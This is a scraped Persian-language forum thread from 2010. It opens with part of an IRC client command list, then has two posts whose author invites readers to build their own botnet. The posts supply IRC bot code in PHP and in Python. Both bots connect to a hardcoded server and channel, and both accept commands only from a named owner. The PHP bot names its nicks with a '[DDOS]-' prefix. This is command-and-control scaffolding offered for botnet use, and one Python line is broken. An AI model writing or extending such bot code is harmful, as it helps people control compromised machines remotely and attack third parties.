/partall Makes you leave all channels you are on.
/ping {server address} Pings the given server. NOT a nickname.
/play [-c] {filename} [delay] Allows you to send text files to a window.
/pop {delay} [#channel] {nickname} Performs a randomly delayed +o on a not already opped nick.
/protect [on|off|nickname|address] Toggles protection of a nick or address or sets it on or off
totally.
/query {nickname} {message} Open a query window to this user and send them the private message.
/quit [reason] Disconnect you from IRC with the optional byebye message.
/raw {raw command} Sends any raw command you supply directly to the server. Use it with care!!
/remote [on|off] Shows the remote commands status or sets it to listening or not.
/rlevel {access level} Removes all users from the remote users list with the specified access
level.
/run {c:\path\program.exe} [parameters] Runs the specified program, evt. with parameters.
/ruser {nick[!]|address} [type] Removes the user from the remote users list.
/save {filename.ini} Saves remote sections into a specified INI file.
/say {text} Says whatever you want to the active window.
/server [server address [port] [password]] Reconnects to the previous server or a newly
specified one.
/sound [nickname|#channel] {filename.wav} {action text} Sends an action and a fitting sound.
/speak {text} Uses the external text to speech program Monologue to speak up the text.
/sreq [ask | auto | ignore] Sets your DCC 'On Send request' settings in DCC/Options.
/time Tells you the time on the server you use.
/timer[N] {repetitions} {interval in seconds} {command} [| {more commands}] Activates a timer.
/topic {#channel} {newtopic} Changes the topic for the specified channel.
/ulist [{|}]{level} Lists all users in the remote list with the specified access levels.
/url [-d] Opens the URL windows that allows you to surf the www parallel to IRC.
/uwho [nick] Pops up the user central with information about the specified user.
/who {#channel} Shows the nicks of all people on the given channel.
/who {*address.string*} Shows all people on IRC with a matching address.
/whois {nickname} Shows information about someone in the status window.
/whowas {nickname} Shows information about someone who -just- left IRC.
/wavplay {c:\path\sound.wav} Locally plays the specified wave file.
/write [-cidl] {filename} [text] To write the specified text to a .txt file.
Cair3x
01-31-2010, 10:32 PM
سلام دوستان !
شما اگه دوست دارید برای خودتون به سلیقه خودتون Botnet بنویسید میتونید از این پست و 2 پست بالا تر ایده بگیرید !
در این پست نحوه کار کردن با کانال های IRC رو در زبان PHP قرار میدم !
که شما میتونید در زبان های مختلف و برای همه سیستم عامل این کار رو انجام بدید !
نحوه وصل شدن به کانال های IRC و کار کردن با اون به زبان PHP !
<?
$owner = "r0ot[x0rg]";
$host="208.43.80.173";
$ihost="irc.krstarica.com";
$port="6667";
$nick="[DDOS]-".(rand()%1000);
$ident= "Gost";
$chan="#r0ot";
$realname = "BIK - Pricaonica Internet Krstarice";
set_time_limit(0);
$fp = fsockopen($host, $port, $erno, $errstr, 30);
if ($fp) {
fwrite($fp, "USER ".$ident."@".$ihost." bla bla :".$realname."\r\n");
fwrite($fp, "NICK ".$nick."\r\n");
while(!feof($fp))
{
$line = fgets($fp, 65535);
if(substr($line, 0, 6) == "PING :")
{
//echo "$line\n";
fwrite($fp, "PONG :".substr($line, 6)."\n\r");
}
flush();
//krstaricina 'rutinska kontrola'
$sablon = "ELTO";
if (strpos($line, $sablon) !== false)
{
//echo "$line \n";
list($batali, $potreban) = explode("=", $line);
$potreban = trim($potreban);
list($broj) = explode(" ", $potreban);
$broj = trim($broj);
//echo "broj -> $broj \n";
$rand = (rand(100, 999));
//echo "rand-> $rand\n";
$odgovor = $rand.'2'.((($rand*512) ^ $rand ^ ($broj*3)) & 0x0FFFF);
fwrite($fp, "PRIVMSG ".$nick." :$odgovor\r\n");
//echo "odgovor -> $odgovor\n";
fwrite($fp, "JOIN :".$chan."\r\n");
}
//
//Globalno parsiranje poruka
//Provera ownera i komandi
$provera = "PRIVMSG";
if(strpos($line, $provera) !== false)
{
list($kom1,$kom2) = explode("!", $line);
$duzina = strlen($owner);
$kom1 = trim(substr($kom1, -$duzina));
if($kom1 == $owner)
{
$provera2 = ":";
if(strpos($kom2, $provera2) !== false)
{
list($temp, $komanda) = explode(":", $kom2);
$komanda = trim($komanda);
//izvrsavanje komandi
if(strpos($komanda, "-say") !== false)
{
list($prom,$izvrsi) = explode("-say", $line);
$izvrsi = trim($izvrsi);
//echo "$line\n";
fwrite($fp, "PRIVMSG ".$chan." :".$izvrsi."\r\n");
}
}
}
}
//
}
fclose($fp);
}
?>
Cair3x
02-24-2010, 04:58 AM
سلام دوستان !
در این پست شما نحوه کار با کانال های IRC رو در زبان برنامه نویسی python یاد میگیرید !
#!/usr/bin/env python
import socket, re, threading, thread, time, random
class IRC (object):
def __init__(self):
self.ip = "irc........com"
self.port = 6667
self.chan = "#test"
self.nick = "PXD"+str(random.randint(100000,999999))
self.symbol = '>'
self.owner = "owner"
self.host = "host.com"
def IRC_Connect(self):
time.sleep(3)
print ("Connecting...")
try:
self.irc_sock = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
except:
print("[SK]FATAL: Could not create connection socket...")
self.IRC_Connect()
if not self.ip:
print("[SK]FATAL: IP (ip) setting not found...")
self.IRC_Connect()
if not self.port:
print("[SK]FATAL: Port (port) setting not found...")
self.IRC_Connect()
try:
self.irc_sock.connect ((self.ip, int(self.port)))
except:
print("[SK]FATAL: Could not connect to IRC...")
self.IRC_Connect()
self.IRC_Start()
def IRC_Start(self):
self.irc_sock.send (( "NICK %s \r\n") % (self.nick))
self.irc_sock.send (( "USER %s 8 * :X\r\n" ) % (self.nick))
self.irc_sock.send (( "JOIN %s \r\n" ) % (self.chan))
self.IRC_MainLoop()
def IRC_MainLoop(self):
try:
while True:
self.recv = self.irc_sock.recv( 4096 )
if self.recv.find ( 'PING' ) != -1:
self.irc_sock.send(( "PONG %s \r\n" ) % (self.recv.split() [ 1 ]))
if self.recv.find('PRIVMSG') != -1:
thread.start_new_thread(self.IRC_Parse, ())
except Exception, e:
print e
self.IRC_Connect()
def IRC_Parse(self):
self.irc_nick = self.recv.split ( '!' ) [ 0 ] . replace ( ':', '' )
self.irc_host = self.recv.split ( '@' ) [ 1 ] . split ( ' ' ) [ 0 ]
self.irc_message = ':'.join ( self.recv.split ( ':' ) [ 2: ] ) . replace( '\r\n', '' )
print "NewThread"
print ( "%s %s %s" ) % (self.irc_nick, self.irc_host, self.irc_message)
if re.compile('^'+self.symbol).match(self.irc_message ) and self.irc_host == self.host and self.irc_nick == self.owner:
self.query = self.symbol.join(self.irc_message.split(self.symbo l)[1:]).split(" ")
print self.query
irc = IRC()
irc.IRC_Connect()
vBulletin v3.8.4, Copyright ©2000-2010, Jelsoft Enterprises Ltd. Farsi By Fascript